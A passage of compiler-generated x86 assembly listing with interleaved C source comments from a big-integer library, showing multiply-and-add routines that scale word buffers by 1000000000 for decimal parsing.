; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+40]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+44]
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+44], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+48]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+52]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+52], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+56]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+60]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 616 : u_buf += 16;
add ecx, 64 ; 00000040H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 16 ; 00000010H
lock xadd DWORD PTR [edx], eax
$LN509@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 625 : if (u_count & 0x8)
test bl, 8
je $LN593@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 635 : u_buf += 8;
add ecx, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 8
lock xadd DWORD PTR [edx], eax
$LN593@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 644 : if (u_count & 0x4)
test bl, 4
je SHORT $LN637@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 650 : u_buf += 4;
add ecx, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 4
lock xadd DWORD PTR [edx], eax
$LN637@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 659 : if (u_count & 0x2)
test bl, 2
je SHORT $LN661@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, 2
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 663 : u_buf += 2;
add ecx, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, OFFSET _statistics_info+4
lock xadd DWORD PTR [eax], edx
$LN661@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 672 : if (u_count & 0x1)
test bl, 1
je SHORT $LN675@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
mov edi, edx
mov DWORD PTR [ecx], eax
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 675 : u_buf += 1;
add ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
$LN675@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 684 : if (k > 0)
test edi, edi
je SHORT $LN680@MultiplyAn
; 685 : {
; 686 : u_buf[0] = k;
mov DWORD PTR [ecx], edi
; 687 : u_buf += 1;
lea eax, DWORD PTR [ecx+4]
pop edi
; 688 : }
; 689 :
; 690 : return (u_buf);
; 691 : }
pop esi
pop ebx
pop ebp
ret 0
$LN680@MultiplyAn:
pop edi
pop esi
mov eax, ecx
pop ebx
pop ebp
ret 0
_MultiplyAndAdd_using_ADCX_MULX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd_using_ADC_MUL
_TEXT SEGMENT
_u_buf$ = 8 ; size = 4
_u_count$ = 12 ; size = 4
_x$ = 16 ; size = 4
_MultiplyAndAdd_using_ADC_MUL PROC ; COMDAT
; 408 : {
push ebp
mov ebp, esp
; 409 : __UNIT_TYPE k = x;
; 410 : __UNIT_TYPE count = u_count >> 5;
; 411 : while (count > 0)
mov ecx, DWORD PTR _u_buf$[ebp]
push ebx
mov ebx, DWORD PTR _u_count$[ebp]
mov eax, ebx
push esi
shr eax, 5
push edi
mov edi, DWORD PTR _x$[ebp]
test eax, eax
je $LN3@MultiplyAn
mov ebx, eax
npad 2
$LL2@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+32]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+36]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+40]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+44]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+44], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+48]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+52]
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+52], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+56]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+60]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+64]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+64], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+68]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+68], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
